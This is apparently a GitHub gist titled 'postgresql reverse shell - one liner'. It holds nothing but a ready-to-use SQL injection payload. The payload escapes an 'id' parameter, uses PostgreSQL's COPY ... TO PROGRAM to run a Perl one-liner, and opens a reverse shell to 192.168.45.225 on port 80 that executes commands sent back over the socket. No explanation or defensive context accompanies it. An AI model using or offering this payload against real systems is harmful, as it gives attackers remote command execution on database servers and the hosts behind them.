Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save david-botelho-mariano/929b243eb78b833ac4264c100c24a0da to your computer and use it in GitHub Desktop.
Save david-botelho-mariano/929b243eb78b833ac4264c100c24a0da to your computer and use it in GitHub Desktop.
postgresql reverse shell - one liner
id=1';COPY (SELECT '') TO PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.225:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; --
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment